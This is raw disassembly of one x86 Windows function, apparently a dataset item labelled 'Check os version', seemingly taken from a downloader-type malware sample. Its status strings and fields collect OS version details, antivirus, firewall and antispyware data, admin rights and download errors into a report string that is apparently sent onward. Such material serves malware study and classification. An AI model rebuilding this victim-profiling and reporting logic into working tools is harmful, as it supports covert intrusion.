Function at 0x406a81
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 0x14]
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], esi
call edi
push dword [ebp + 0x18]
mov dword [ebp - 0x44], eax
call edi
push dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
call edi
mov dword [ebp - 0x4c], eax
push 0x825
lea eax, [ebp - 0xb94]
push esi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0xb94]
push dword [ebp + 0xc]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0xb94]
push 0x40f654
push eax
call esi
push 0x41
lea eax, [ebp - 0x124]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 1
jne 0x406b1c
push str.already_run
jmp 0x406b92
cmp eax, 5
jne 0x406b28
push str.removed
jmp 0x406b92
cmp eax, 2
jne 0x406b34
push str.uncrypt_failed
jmp 0x406b92
cmp eax, 3
jne 0x406b40
push str.createprocess_failed
jmp 0x406b92
cmp eax, 4
jne 0x406b4c
push str.started_not_in_mem
jmp 0x406b92
cmp eax, 6
jne 0x406b58
push str.file_deleted
jmp 0x406b92
cmp eax, 7
jne 0x406b64
push str.download_failed
jmp 0x406b92
cmp eax, 8
jne 0x406b70
push str.invalid_file
jmp 0x406b92
push eax
push str.unknown
lea eax, [ebp - 0x36c]
push str._s:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0x124]
push eax
call ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040a0a7
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040a3da
mov dword [ebp + 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040a703
mov dword [ebp - 0x40], eax
call fcn.00407bd5
mov ebx, eax
push 2
lea eax, [ebp - 2]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
mov ebx, 0x40f00c
lea eax, [ebp - 2]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xb
lea eax, [ebp - 0x70]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0xb
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x48
lea eax, [ebp - 0x64]
push 0xb
push 0
push eax
call sub.MSVCRT.dll_memset
push 0xb
lea eax, [ebp - 0x7c]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0x24]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0x2c]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0x3c]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0x34]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x48
lea eax, [ebp - 0x328]
push 0x81
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x2a4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x294], 1
jne 0x406ce2
push 1
lea eax, [ebp - 0x70]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x2a0]
lea eax, [ebp - 0x58]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x29c]
lea eax, [ebp - 0x64]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x298]
lea eax, [ebp - 0x7c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x30
lea eax, [ebp - 0x290]
jmp 0x406d95
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push dword [ebp - 0x200]
lea eax, [ebp - 0x70]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x20c]
lea eax, [ebp - 0x58]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x208]
lea eax, [ebp - 0x64]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 0x204]
lea eax, [ebp - 0x7c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [ebp - 0x17c]
push eax
lea eax, [ebp - 0x24]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [ebp - 0x17a]
push eax
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, word [ebp - 0x178]
add esp, 0x48
push eax
lea eax, [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, byte [ebp - 0x176]
push eax
lea eax, [ebp - 0x34]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x11
lea eax, [ebp - 0xcc]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x20]
lea eax, [ebp - 0xcc]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0x90]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x90]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0xb8]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp - 0x18]
lea eax, [ebp - 0xb8]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x48
lea eax, [ebp - 0x138]
push 0x11
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x138]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0x14c]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp - 0x14]
lea eax, [ebp - 0x14c]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp - 0x40]
lea eax, [ebp - 0x160]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x48
lea eax, [ebp - 0x174]
push 0x11
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp - 0x1c]
lea eax, [ebp - 0x174]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0xa4]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x24]
lea eax, [ebp - 0xa4]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x11
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x28]
lea eax, [ebp - 0xe0]
push ebx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x48
push dword [ebp - 0x10]
call edi
push dword [ebp - 0xc]
mov ebx, eax
call edi
push dword [ebp - 8]
add ebx, eax
call edi
push dword [ebp + 8]
add ebx, eax
call edi
add ebx, eax
lea eax, [ebp - 0xe0]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0xa4]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0xb8]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x90]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0xcc]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x328]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x34]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x3c]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x2c]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x24]
push eax
call edi
push dword [ebp + 0x2c]
add ebx, eax
call edi
add ebx, eax
lea eax, [ebp - 0x7c]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x64]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x58]
push eax
call edi
add ebx, eax
lea eax, [ebp - 0x70]
push eax
call edi
add ebx, eax
lea eax, [ebp - 2]
push eax
call edi
mov dword [ebp + 0xc], ebx
mov ebx, eax
add ebx, dword [ebp - 0x4c]
lea eax, [ebp - 0x124]
push eax
call edi
mov ecx, dword [ebp + 0xc]
add ebx, ecx
mov ecx, dword [ebp - 0x44]
add eax, ebx
add eax, dword [ebp - 0x48]
lea eax, [eax + ecx + 0xa5]
lea ebx, [eax + eax]
inc eax
push eax
mov dword [ebp + 0x10], eax
call sub.MSVCRT.dll_malloc
mov edi, eax
lea eax, [ebx + 1]
push eax
call sub.MSVCRT.dll_malloc
push dword [ebp + 0x10]
mov dword [ebp + 0xc], eax
push 0
push edi
call sub.MSVCRT.dll_memset
lea eax, [ebx + 1]
push eax
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0x20
push 0x40f5bc
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0x14]
push edi
call esi
push 0x40f5b4
push edi
call esi
push dword [ebp + 0x18]
push edi
call esi
push str.pname
push edi
call esi
push dword [ebp + 8]
push edi
call esi
push str.prb
push edi
call esi
lea eax, [ebp - 0x124]
push eax
push edi
call esi
push str.av
push edi
call esi
push dword [ebp - 8]
push edi
call esi
push str.fw
push edi
call esi
push dword [ebp - 0xc]
push edi
call esi
push str.as
push edi
call esi
push dword [ebp - 0x10]
push edi
call esi
push str.osi1
push edi
call esi
lea eax, [ebp - 0x70]
push eax
push edi
call esi
push str.osi2
push edi
call esi
lea eax, [ebp - 0x58]
push eax
push edi
call esi
push str.osi3
push edi
call esi
lea eax, [ebp - 0x64]
push eax
push edi
call esi
push str.osi4
push edi
call esi
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
push str.osi5
push edi
call esi
lea eax, [ebp - 0x24]
push eax
push edi
call esi
push str.osi6
push edi
call esi
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
push str.osi7
push edi
call esi
lea eax, [ebp - 0x3c]
push eax
push edi
call esi
push str.osi8
push edi
call esi
lea eax, [ebp - 0x34]
push eax
push edi
call esi
push str.osi9
push edi
call esi
lea eax, [ebp - 0x328]
push eax
push edi
call esi
push str.admin
push edi
call esi
lea eax, [ebp - 2]
push eax
push edi
call esi
push str.lasterror
push edi
call esi
lea eax, [ebp - 0xcc]
push eax
push edi
call esi
push str.averror
push edi
call esi
lea eax, [ebp - 0x90]
push eax
push edi
call esi
push str.avresult
push edi
call esi
lea eax, [ebp - 0xb8]
push eax
push edi
call esi
push str.nv
push edi
call esi
push dword [ebp + 0x1c]
push edi
call esi
push str.dl_statuscode
push edi
call esi
lea eax, [ebp - 0xa4]
push eax
push edi
call esi
push str.dl_lasterror
push edi
call esi
lea eax, [ebp - 0xe0]
push eax
push edi
call esi
push str.dbg
push edi
call esi
push dword [ebp + 0x2c]
push edi
call esi
cmp dword [ebp - 8], 0
je 0x407164
push dword [ebp - 8]
call sub.MSVCRT.dll_free
pop ecx
cmp dword [ebp - 0xc], 0
je 0x407173
push dword [ebp - 0xc]
call sub.MSVCRT.dll_free
pop ecx
cmp dword [ebp - 0x10], 0
je 0x407182
push dword [ebp - 0x10]
call sub.MSVCRT.dll_free
pop ecx
push ebx
push dword [ebp + 0xc]
push edi
call fcn.004076d7
add esp, 0xc
lea eax, [ebp - 0xb94]
push dword [ebp + 0xc]
push eax
call esi
push edi
call sub.MSVCRT.dll_free
push dword [ebp + 0xc]
call sub.MSVCRT.dll_free
xor esi, esi
lea eax, [ebp + 0x14]
push esi
push esi
push esi
push eax
lea eax, [ebp - 0xb94]
mov dword [ebp + 0x14], esi
push eax
call fcn.00407934
add esp, 0x1c
cmp dword [ebp + 0x14], esi
pop edi
pop esi
pop ebx
je 0x4071d5
push dword [ebp + 0x14]
call sub.MSVCRT.dll_free
pop ecx
leave
ret